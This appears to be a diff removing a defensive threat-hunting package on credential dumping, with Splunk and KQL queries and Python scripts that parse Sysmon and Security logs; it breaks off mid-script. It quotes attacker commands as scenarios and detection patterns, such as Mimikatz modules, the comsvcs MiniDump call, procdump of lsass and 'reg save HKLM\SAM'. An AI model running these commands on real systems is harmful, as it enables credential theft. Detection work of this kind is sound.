to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,90 +0,0 @@
---
name: detecting-credential-dumping-with-edr
description: Detect OS credential dumping techniques including LSASS access, SAM extraction, and DCSync using EDR telemetry and Sysmon logs.
domain: cybersecurity
subdomain: threat-hunting
tags: [threat-hunting, mitre-attack, credential-dumping, edr, lsass, t1003, proactive-detection]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Detecting Credential Dumping with EDR
## When to Use
- When hunting for post-exploitation credential theft in compromised environments
- After detecting suspicious LSASS process access in EDR alerts
- When investigating potential Active Directory compromise
- During incident response to determine scope of credential exposure
- When proactively hunting for T1003 sub-techniques across endpoints
## Prerequisites
- EDR platform with process access monitoring (CrowdStrike, MDE, SentinelOne)
- Sysmon deployed with Event ID 10 (Process Access) configured for LSASS
- Windows Security Event Log 4688 with command-line auditing enabled
- Active Directory event forwarding for DCSync detection (Event ID 4662)
- Windows Security Event Log 4656/4663 for SAM registry access
## Workflow
1. **Identify Credential Dumping Vectors**: Map the T1003 sub-techniques relevant to your environment (LSASS Memory, SAM, NTDS, DCSync, /etc/passwd, Cached Credentials).
2. **Query LSASS Access Events**: Search for Sysmon Event ID 10 where TargetImage is lsass.exe with suspicious GrantedAccess masks (0x1010, 0x1038, 0x1FFFFF).
3. **Analyze Process Context**: Examine the source process accessing LSASS - legitimate security tools vs. unknown or suspicious binaries.
4. **Hunt for SAM/NTDS Access**: Query for reg.exe save operations against SAM/SECURITY/SYSTEM hives and ntdsutil/vssadmin shadow copy access.
5. **Detect DCSync Activity**: Monitor for DS-Replication-Get-Changes requests from non-domain-controller sources (Event ID 4662).
6. **Correlate with Network Activity**: Cross-reference credential dumping with subsequent lateral movement or authentication anomalies.
7. **Assess Impact and Report**: Determine which credentials were potentially exposed and recommend password resets and containment.
## Key Concepts
| Concept | Description |
|---------|-------------|
| T1003 | OS Credential Dumping - parent technique |
| T1003.001 | LSASS Memory - dumping credentials from LSASS process |
| T1003.002 | Security Account Manager (SAM) - extracting local password hashes |
| T1003.003 | NTDS - extracting AD database from Domain Controllers |
| T1003.004 | LSA Secrets - accessing stored service credentials |
| T1003.005 | Cached Domain Credentials (DCC2) |
| T1003.006 | DCSync - replicating AD credentials via DRSUAPI |
| LSASS | Local Security Authority Subsystem Service |
| GrantedAccess | Bitmask indicating the access rights requested for a process |
| Minidump | Memory dump technique used by tools like comsvcs.dll |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| CrowdStrike Falcon | LSASS access detection and process tree analysis |
| Microsoft Defender for Endpoint | Advanced hunting for credential access events |
| Sysmon | Process access monitoring (Event ID 10) |
| Velociraptor | Endpoint artifact collection for LSASS analysis |
| Elastic Security | Correlation of credential dumping indicators |
| Splunk | SPL queries for credential access event analysis |
| Volatility | Memory forensics for LSASS credential extraction |
## Common Scenarios
1. **Mimikatz LSASS Dump**: Attacker runs `sekurlsa::logonpasswords` causing direct LSASS memory read with GrantedAccess 0x1010.
2. **Comsvcs.dll MiniDump**: Process uses `rundll32.exe comsvcs.dll MiniDump [LSASS PID]` to create LSASS memory dump file.
3. **ProcDump LSASS**: Attacker uses Microsoft-signed procdump.exe with `-ma lsass.exe` to dump LSASS memory.
4. **SAM Registry Export**: Adversary runs `reg save HKLM\SAM sam.bak` to extract local password hashes.
5. **DCSync Replication**: Compromised account with Replicating Directory Changes permissions performs DCSync from a workstation.
6. **NTDS Shadow Copy**: Attacker uses `vssadmin create shadow /for=C:` then copies ntds.dit from the shadow copy.
## Output Format
```
Hunt ID: TH-CRED-DUMP-[DATE]-[SEQ]
Technique: T1003.[Sub-technique]
Source Process: [Process accessing LSASS/SAM/NTDS]
Target: [lsass.exe / SAM / NTDS.dit / DC Replication]
Host: [Hostname]
User: [Account context]
GrantedAccess: [Access mask if applicable]
Timestamp: [UTC]
Risk Level: [Critical/High/Medium/Low]
Evidence: [Log entries, process tree, network activity]
Recommended Action: [Password reset scope, containment steps]
```
@@ -1,64 +0,0 @@
# Credential Dumping Hunt Template
## Hunt Metadata
| Field | Value |
|-------|-------|
| Hunt ID | TH-CRED-DUMP-YYYY-MM-DD-NNN |
| Analyst | |
| Date | |
| Status | [ ] In Progress / [ ] Complete |
## Hypothesis
> [e.g., "Adversaries have used Mimikatz or similar tools to dump LSASS memory on compromised endpoints to harvest domain credentials."]
## Target Techniques
- [ ] T1003.001 - LSASS Memory
- [ ] T1003.002 - SAM Database
- [ ] T1003.003 - NTDS.dit
- [ ] T1003.004 - LSA Secrets
- [ ] T1003.005 - Cached Domain Credentials
- [ ] T1003.006 - DCSync
## Data Sources
- [ ] Sysmon Event ID 10 (Process Access)
- [ ] Sysmon Event ID 1 (Process Creation)
- [ ] Windows Security 4656/4663
- [ ] Windows Security 4662 (DCSync)
- [ ] EDR Telemetry: _______________
## LSASS Access Findings
| # | Timestamp | Host | User | Source Process | Access Mask | Risk | Verdict |
|---|-----------|------|------|---------------|-------------|------|---------|
| 1 | | | | | | | |
| 2 | | | | | | | |
## Tool Detection Findings
| # | Timestamp | Host | User | Tool | Command Line | Technique | Verdict |
|---|-----------|------|------|------|-------------|-----------|---------|
| 1 | | | | | | | |
| 2 | | | | | | | |
## DCSync Findings
| # | Timestamp | Source Host | User | Replication Right | Is Legitimate DC? | Verdict |
|---|-----------|------------|------|-------------------|-------------------|---------|
| 1 | | | | | | |
## Compromised Credentials Assessment
| Account | Type | Hash Type | Exposure Scope | Reset Required? |
|---------|------|-----------|---------------|----------------|
| | | | | |
## Recommendations
1. **Immediate Actions**: [Password resets, account lockouts]
2. **Containment**: [Isolate affected systems]
3. **Detection Improvements**: [New rules, LSASS protection]
4. **Hardening**: [Credential Guard, PPL, ASR rules]
@@ -1,65 +0,0 @@
# API Reference: Detecting Credential Dumping with EDR
## T1003 Sub-Techniques
| Sub-technique | Method | Key Evidence |
|---------------|--------|--------------|
| T1003.001 | LSASS Memory | Sysmon Event ID 10, GrantedAccess mask |
| T1003.002 | SAM Registry | reg.exe save HKLM\SAM, Event ID 4656 |
| T1003.003 | NTDS.dit | vssadmin shadow copy, ntdsutil ifm |
| T1003.004 | LSA Secrets | Registry HKLM\SECURITY |
| T1003.005 | Cached Creds | DCC2 hashes in SECURITY hive |
| T1003.006 | DCSync | Event ID 4662, replication GUIDs |
## python-evtx Library
```python
import Evtx.Evtx as evtx
with evtx.Evtx("Sysmon.evtx") as log:
for record in log.records():
xml = record.xml()
# Parse EventID, SourceImage, TargetImage, GrantedAccess
```
## LSASS Suspicious Access Masks
| GrantedAccess | Meaning |
|---------------|---------|
| 0x1010 | PROCESS_VM_READ + QUERY_INFO (Mimikatz) |
| 0x1038 | VM_READ + QUERY_INFO + VM_WRITE |
| 0x1FFFFF | PROCESS_ALL_ACCESS |
## DCSync Replication GUIDs
```
DS-Replication-Get-Changes: 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All: 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-In-Filtered: 89e95b76-444d-4c62-991a-0facbeda640c
```
## Splunk SPL - LSASS Access Detection
```spl
index=sysmon EventCode=10 TargetImage="*\\lsass.exe"
| where NOT match(SourceImage, "(csrss|services|svchost|lsm|MsMpEng)\\.exe$")
| where GrantedAccess IN ("0x1010", "0x1038", "0x1FFFFF")
| table _time SourceImage GrantedAccess Computer SourceUser
```
## KQL - Microsoft Defender for Endpoint
```kql
DeviceProcessEvents
| where FileName in ("mimikatz.exe", "procdump.exe", "nanodump.exe")
or ProcessCommandLine has_any ("sekurlsa", "lsadump", "MiniDump")
| project Timestamp, DeviceName, FileName, ProcessCommandLine, AccountName
```
## CLI Usage
```bash
python agent.py --sysmon-log Sysmon.evtx
python agent.py --security-log Security.evtx
python agent.py --command-log process_audit.log
```
@@ -1,87 +0,0 @@
# Standards and References - Credential Dumping Detection
## MITRE ATT&CK Mappings
### T1003 - OS Credential Dumping (Parent Technique)
| Sub-Technique | Name | Description |
|---------------|------|-------------|
| T1003.001 | LSASS Memory | Dumping credentials stored in LSASS process memory |
| T1003.002 | Security Account Manager | Extracting local hashes from SAM database |
| T1003.003 | NTDS | Stealing AD database from Domain Controllers |
| T1003.004 | LSA Secrets | Accessing stored service account credentials |
| T1003.005 | Cached Domain Credentials | Extracting DCC2 hashed credentials |
| T1003.006 | DCSync | Simulating DC replication to extract credentials |
| T1003.007 | Proc Filesystem (/proc) | Linux credential extraction |
| T1003.008 | /etc/passwd and /etc/shadow | Unix credential files |
### Related Techniques
- **T1555 - Credentials from Password Stores**: Browser, keychain, password manager credentials
- **T1552 - Unsecured Credentials**: Files, registry, bash history, cloud metadata
- **T1558 - Steal or Forge Kerberos Tickets**: Kerberoasting, Golden/Silver tickets
- **T1550 - Use Alternate Authentication Material**: Pass the Hash, Pass the Ticket
### Tactic
- **TA0006 - Credential Access**
## Detection Data Sources
### LSASS Access Detection
| Source | Event ID | Details |
|--------|----------|---------|
| Sysmon | 10 | ProcessAccess - TargetImage = lsass.exe |
| Windows Security | 4656 | Handle requested to process object |
| Windows Security | 4663 | Attempt to access process object |
| Windows Security | 4688 | Process creation with command line |
| ETW | Microsoft-Windows-Kernel-Process | Kernel-level process access |
### SAM/Registry Detection
| Source | Event ID | Details |
|--------|----------|---------|
| Sysmon | 1 | reg.exe with save SAM/SECURITY/SYSTEM |
| Windows Security | 4656 | Handle to registry key |
| Windows Security | 4688 | reg.exe/regedit.exe command line |
### DCSync Detection
| Source | Event ID | Details |
|--------|----------|---------|
| Windows Security | 4662 | DS-Replication-Get-Changes operation |
| Windows Security | 4624/4625 | Authentication to DC from non-DC source |
| Network | DRSUAPI | RPC calls for directory replication |
### NTDS Access Detection
| Source | Event ID | Details |
|--------|----------|---------|
| Sysmon | 1 | ntdsutil.exe, vssadmin.exe execution |
| Windows Security | 4688 | Shadow copy creation commands |
| VSS | 8224 | Volume Shadow Copy Service operations |
## LSASS Access Mask Reference
| Access Mask | Hex | Meaning |
|-------------|-----|---------|
| PROCESS_VM_READ | 0x0010 | Read process memory |
| PROCESS_QUERY_INFORMATION | 0x0400 | Query process info |
| 0x1010 | Combined | VM_READ + QUERY_INFO (Mimikatz default) |
| 0x1038 | Combined | Common credential dumping mask |
| 0x1FFFFF | PROCESS_ALL_ACCESS | Full access to process |
| 0x0410 | Combined | Query + VM_READ minimal |
## Known Credential Dumping Tools
| Tool | Technique | Detection Signature |
|------|-----------|-------------------|
| Mimikatz | T1003.001, T1003.006 | LSASS access with 0x1010, sekurlsa module |
| LaZagne | T1003.001, T1555 | Multi-credential extractor |
| ProcDump | T1003.001 | Signed MS tool, -ma lsass.exe |
| comsvcs.dll | T1003.001 | MiniDump via rundll32 |
| secretsdump.py | T1003.002, T1003.003, T1003.006 | Impacket DCSync/SAM |
| ntdsutil.exe | T1003.003 | IFM creation for NTDS |
| SharpDump | T1003.001 | .NET LSASS dumper |
| PPLdump | T1003.001 | PPL bypass LSASS dump |
| nanodump | T1003.001 | Stealthy minidump |
## Regulatory References
- NIST SP 800-171 Rev 2: 3.1.1 (Access Control)
- CIS Controls v8: Control 6 (Access Control Management)
- PCI DSS 4.0: Requirement 7 (Restrict Access)
@@ -1,134 +0,0 @@
# Detailed Hunting Workflow - Credential Dumping Detection
## Phase 1: LSASS Memory Access Hunting
### Step 1.1 - Sysmon Event ID 10 Analysis
```spl
index=sysmon EventCode=10 TargetImage="*\\lsass.exe"
| where NOT match(SourceImage, "(?i)(csrss|svchost|services|lsass|wininit|MsMpEng|MsSense|CrowdStrike)")
| eval suspicious_access=case(
GrantedAccess="0x1FFFFF", "CRITICAL-Full_Access",
GrantedAccess="0x1010", "HIGH-VM_Read_Query",
GrantedAccess="0x1038", "HIGH-Credential_Dump_Mask",
GrantedAccess="0x0410", "MEDIUM-Query_VM_Read",
1=1, "LOW-Other"
)
| stats count by SourceImage, GrantedAccess, suspicious_access, Computer, User
| sort -count
```
### Step 1.2 - KQL for Microsoft Defender for Endpoint
```kql
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName == "lsass.exe"
| where InitiatingProcessFileName !in~ ("csrss.exe","svchost.exe","services.exe","MsMpEng.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName,
InitiatingProcessCommandLine, AdditionalFields
| order by Timestamp desc
```
### Step 1.3 - CrowdStrike Falcon Query
```
event_simpleName=ProcessRollup2 TargetProcessImageFileName=lsass.exe
| where ContextProcessImageFileName!="csrss.exe" AND ContextProcessImageFileName!="svchost.exe"
| stats count by ContextProcessImageFileName ComputerName UserName
```
## Phase 2: SAM/SECURITY Hive Access
### Step 2.1 - Registry Save Operations
```spl
index=sysmon EventCode=1
| where match(CommandLine, "(?i)reg\s+(save|export)\s+.*(SAM|SECURITY|SYSTEM)")
| table _time Computer User Image CommandLine ParentImage
```
### Step 2.2 - Shadow Copy for SAM Access
```spl
index=sysmon EventCode=1
| where match(CommandLine, "(?i)(vssadmin|wmic)\s+.*(shadow|create)")
| append [
search index=sysmon EventCode=1
| where match(CommandLine, "(?i)copy.*\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy")
]
| table _time Computer User CommandLine ParentImage
```
## Phase 3: DCSync Detection
### Step 3.1 - Directory Replication Monitoring
```spl
index=wineventlog EventCode=4662
| where match(Properties, "(?i)(1131f6aa|1131f6ad|89e95b76)")
| where NOT match(SubjectUserName, "(?i)(\\$|DomainController)")
| table _time SubjectUserName SubjectDomainName ObjectName Properties
```
The GUIDs to monitor:
- `1131f6aa-9c07-11d1-f79f-00c04fc2dcd2` = DS-Replication-Get-Changes
- `1131f6ad-9c07-11d1-f79f-00c04fc2dcd2` = DS-Replication-Get-Changes-All
- `89e95b76-444d-4c62-991a-0facbeda640c` = DS-Replication-Get-Changes-In-Filtered-Set
### Step 3.2 - Non-DC Source Validation
```kql
SecurityEvent
| where EventID == 4662
| where Properties has "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
| where Computer !in (known_domain_controllers)
| project TimeGenerated, Computer, SubjectAccount, SubjectDomainName
```
## Phase 4: Tool-Specific Detection
### Step 4.1 - Mimikatz Indicators
```spl
index=sysmon (EventCode=1 OR EventCode=10)
| where match(CommandLine, "(?i)(sekurlsa|lsadump|kerberos::list|crypto::cng|privilege::debug)")
OR (EventCode=10 AND TargetImage="*\\lsass.exe" AND GrantedAccess IN ("0x1010","0x1038"))
| table _time EventCode Computer User Image CommandLine GrantedAccess
```
### Step 4.2 - Comsvcs.dll MiniDump Detection
```spl
index=sysmon EventCode=1 Image="*\\rundll32.exe"
| where match(CommandLine, "(?i)comsvcs.*MiniDump")
| table _time Computer User CommandLine ParentImage
```
### Step 4.3 - ProcDump LSASS Detection
```spl
index=sysmon EventCode=1
| where match(CommandLine, "(?i)procdump.*(-ma|-accepteula).*lsass")
| table _time Computer User CommandLine ParentImage
```
## Phase 5: Correlation and Impact Assessment
### Step 5.1 - Post-Credential-Dump Lateral Movement
```spl
index=sysmon EventCode=10 TargetImage="*\\lsass.exe" GrantedAccess IN ("0x1010","0x1038","0x1FFFFF")
| rename Computer as src_host
| join src_host [
search index=wineventlog EventCode=4624 Logon_Type=3
| rename Computer as src_host
]
| table _time src_host User SourceImage dest_host
```
### Step 5.2 - Timeline Construction
Build a timeline correlating:
1. Initial LSASS access event (credential dump)
2. Subsequent authentication events (Pass-the-Hash/Ticket)
3. Lateral movement to new hosts
4. Additional credential dumping on new hosts
## Phase 6: Reporting
### Key Metrics to Report
- Number of unique hosts with LSASS access anomalies
- Tools identified (known vs. custom)
- Accounts potentially compromised
- Lateral movement scope
- Time from initial dump to last detected activity
@@ -1,192 +0,0 @@
#!/usr/bin/env python3
"""Credential dumping detection agent using Sysmon and Windows Event Log analysis.
Parses EVTX logs for LSASS access (Event ID 10), SAM registry access,
DCSync indicators (Event ID 4662), and suspicious process patterns.
"""
import argparse
import json
import re
from datetime import datetime
try:
import Evtx.Evtx as evtx
except ImportError:
evtx = None
LSASS_SUSPICIOUS_ACCESS = {
"0x1010": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION (Mimikatz)",
"0x1038": "PROCESS_VM_READ | PROCESS_QUERY_INFO | PROCESS_VM_WRITE",
"0x1fffff": "PROCESS_ALL_ACCESS",
"0x1410": "PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION",
"0x0810": "PROCESS_VM_READ | PROCESS_QUERY_INFORMATION",
}
LSASS_LEGITIMATE_SOURCES = {
"csrss.exe", "services.exe", "lsm.exe", "svchost.exe",
"mrt.exe", "taskmgr.exe", "wmiprvse.exe",
}
DCSYNC_GUIDS = {
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes",
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All",
"89e95b76-444d-4c62-991a-0facbeda640c": "DS-Replication-Get-Changes-In-Filtered-Set",
}
SAM_COMMANDS = [
r"reg\s+save\s+hklm\\sam",
r"reg\s+save\s+hklm\\security",
r"reg\s+save\s+hklm\\system",
r"vssadmin\s+create\s+shadow",
r"ntdsutil.*ifm",
r"copy.*ntds\.dit",
r"esentutl.*ntds",
]
DUMP_TOOLS = {
"mimikatz.exe": "CRITICAL", "procdump.exe": "HIGH", "procdump64.exe": "HIGH",
"nanodump.exe": "CRITICAL", "pypykatz": "CRITICAL",
"secretsdump.py": "CRITICAL", "lazagne.exe": "HIGH",
}
def parse_sysmon_event10(filepath):
if evtx is None:
return {"error": "python-evtx not installed: pip install python-evtx"}
findings = []
with evtx.Evtx(filepath) as log:
for record in log.records():
xml = record.xml()
if "<EventID>10</EventID>" not in xml:
continue
target = re.search(r'<Data Name="TargetImage">([^<]+)', xml)
if not target or "lsass.exe" not in target.group(1).lower():
continue
source = re.search(r'<Data Name="SourceImage">([^<]+)', xml)
access = re.search(r'<Data Name="GrantedAccess">([^<]+)', xml)
source_user = re.search(r'<Data Name="SourceUser">([^<]+)', xml)
time_created = re.search(r'SystemTime="([^"]+)"', xml)
source_name = source.group(1) if source else ""
source_basename = source_name.rsplit("\\", 1)[-1].lower()
access_mask = access.group(1) if access else ""
if source_basename in LSASS_LEGITIMATE_SOURCES:
continue
severity = "HIGH"
technique = "T1003.001"
if access_mask.lower() in LSASS_SUSPICIOUS_ACCESS:
severity = "CRITICAL"
findings.append({
"event_id": 10,
"timestamp": time_created.group(1) if time_created else "",
"source_image": source_name,
"target_image": target.group(1),
"granted_access": access_mask,
"access_meaning": LSASS_SUSPICIOUS_ACCESS.get(access_mask.lower(), ""),
"source_user": source_user.group(1) if source_user else "",
"severity": severity,
"mitre": technique,
})
return findings
def parse_security_4662(filepath):
if evtx is None:
return {"error": "python-evtx not installed"}
findings = []
with evtx.Evtx(filepath) as log:
for record in log.records():
xml = record.xml()
if "<EventID>4662</EventID>" not in xml:
continue
props = re.search(r'<Data Name="Properties">([^<]+)', xml)
if not props:
continue
prop_text = props.group(1).lower()
matched_guids = []
for guid, name in DCSYNC_GUIDS.items():
if guid in prop_text:
matched_guids.append(name)
if not matched_guids:
continue
subject = re.search(r'<Data Name="SubjectUserName">([^<]+)', xml)
subject_name = subject.group(1) if subject else ""
if subject_name.endswith("$"):
continue
time_created = re.search(r'SystemTime="([^"]+)"', xml)
findings.append({
"event_id": 4662,
"timestamp": time_created.group(1) if time_created else "",
"subject_user": subject_name,
"replication_rights": matched_guids,
"severity": "CRITICAL",
"mitre": "T1003.006",
"description": "DCSync - non-DC account requesting replication",
})
return findings
def detect_sam_dump_commands(filepath):
findings = []
with open(filepath, "r", encoding="utf-8", errors="replace") as f:
for line_num, line in enumerate(f, 1):
for pattern in SAM_COMMANDS:
if re.search(pattern, line, re.IGNORECASE):
findings.append({
"line": line_num,
"command": line.strip()[:200],
"pattern": pattern,
"severity": "CRITICAL",
"mitre": "T1003.002",
})
for tool, sev in DUMP_TOOLS.items():
if tool.lower() in line.lower():
findings.append({
"line": line_num,
"tool": tool,
"severity": sev,
"mitre": "T1003",
})
return findings
def main():
parser = argparse.ArgumentParser(description="Credential Dumping Detector")
parser.add_argument("--sysmon-log", help="Sysmon EVTX file for LSASS access (Event 10)")
parser.add_argument("--security-log", help="Security EVTX file for DCSync (Event 4662)")
parser.add_argument("--command-log", help="Text log to scan for SAM dump commands")
args = parser.parse_args()
results = {"timestamp": datetime.utcnow().isoformat() + "Z", "findings": []}
if args.sysmon_log:
lsass = parse_sysmon_event10(args.sysmon_log)
if isinstance(lsass, dict) and "error" in lsass:
results["lsass_error"] = lsass["error"]
else:
results["lsass_access"] = lsass
results["findings"].extend(lsass)
if args.security_log:
dcsync = parse_security_4662(args.security_log)
if isinstance(dcsync, dict) and "error" in dcsync:
results["dcsync_error"] = dcsync["error"]
else:
results["dcsync_events"] = dcsync
results["findings"].extend(dcsync)
if args.command_log:
sam = detect_sam_dump_commands(args.command_log)
results["sam_dump_commands"] = sam
results["findings"].extend(sam)
results["total_findings"] = len(results["findings"])
print(json.dumps(results, indent=2))
if __name__ == "__main__":
main()
@@ -1,383 +0,0 @@
#!/usr/bin/env python3
"""
Credential Dumping Detection Script
Analyzes process access logs for LSASS memory access, SAM extraction,
DCSync activity, and other credential theft indicators.
"""
import json
import csv
import argparse
import datetime
import re
import sys
from collections import defaultdict
from pathlib import Path
# Suspicious LSASS access masks indicating credential dumping
SUSPICIOUS_ACCESS_MASKS = {
"0x1FFFFF": {"risk": "CRITICAL", "description": "PROCESS_ALL_ACCESS - full process access"},
"0x1010": {"risk": "HIGH", "description": "PROCESS_VM_READ + PROCESS_QUERY_INFORMATION (Mimikatz default)"},
"0x1038": {"risk": "HIGH", "description": "Common credential dumping access mask"},
"0x0410": {"risk": "MEDIUM", "description": "PROCESS_QUERY_INFORMATION + PROCESS_VM_READ"},
"0x1400": {"risk": "MEDIUM", "description": "PROCESS_QUERY_INFORMATION + PROCESS_QUERY_LIMITED"},
"0x0040": {"risk": "HIGH", "description": "PROCESS_DUP_HANDLE - handle duplication"},
"0x0810": {"risk": "HIGH", "description": "PROCESS_SUSPEND_RESUME + PROCESS_VM_READ"},
"0x1fffff": {"risk": "CRITICAL", "description": "PROCESS_ALL_ACCESS (lowercase)"},
}
# Legitimate processes that commonly access LSASS
LSASS_WHITELIST = {
"csrss.exe", "svchost.exe", "services.exe", "lsass.exe", "wininit.exe",
"smss.exe", "wmiprvse.exe", "taskmgr.exe", "procexp.exe", "procexp64.exe",
"msmpsvc.exe", "msmpeng.exe", "nissrv.exe", "mssense.exe", "sensecncproxy.exe",
"csfalconservice.exe", "csfalconcontainer.exe",
"sentinelagent.exe", "sentinelone.exe",
"cb.exe", "carbonblack.exe",
"logrhythmagent.exe",
}
# Known credential dumping tool command-line patterns
CRED_DUMP_TOOL_PATTERNS = {
"mimikatz": {
"patterns": [
r"sekurlsa::",
r"lsadump::",
r"kerberos::list",
r"crypto::cng",
r"privilege::debug",
r"token::elevate",
r"dpapi::",
r"vault::cred",
],
"technique": "T1003.001/T1003.006",
},
"comsvcs_minidump": {
"patterns": [
r"comsvcs\.dll.*MiniDump",
r"comsvcs\.dll.*#24",
],
"technique": "T1003.001",
},
"procdump": {
"patterns": [
r"procdump.*-ma.*lsass",
r"procdump.*lsass.*-ma",
r"procdump.*-accepteula.*lsass",
],
"technique": "T1003.001",
},
"reg_save": {
"patterns": [
r"reg\s+(save|export)\s+HKLM\\SAM",
r"reg\s+(save|export)\s+HKLM\\SECURITY",
r"reg\s+(save|export)\s+HKLM\\SYSTEM",
],
"technique": "T1003.002",
},
"ntdsutil": {
"patterns": [
r"ntdsutil.*ifm",
r"ntdsutil.*\"activate instance ntds\"",
r"ntdsutil.*create full",
],
"technique": "T1003.003",
},
"vssadmin_shadow": {
"patterns": [
r"vssadmin.*create\s+shadow",
r"copy.*GLOBALROOT.*Device.*HarddiskVolumeShadowCopy",
r"wmic.*shadowcopy.*create",
],
"technique": "T1003.003",
},
"secretsdump": {
"patterns": [
r"secretsdump",
r"impacket.*dump",
],
"technique": "T1003.002/T1003.003/T1003.006",
},
"lazagne": {
"patterns": [
r"lazagne",
r"LaZagne\.exe",
],
"technique": "T1003.001/T1555",
},
"sharpdump": {
"patterns": [
r"SharpDump",
r"sharpdump",
],
"technique": "T1003.001",
},
"nanodump": {
"patterns": [
r"nanodump",
],
"technique": "T1003.001",
},
}
# DCSync detection GUIDs
DCSYNC_GUIDS = {
"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes",
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2": "DS-Replication-Get-Changes-All",
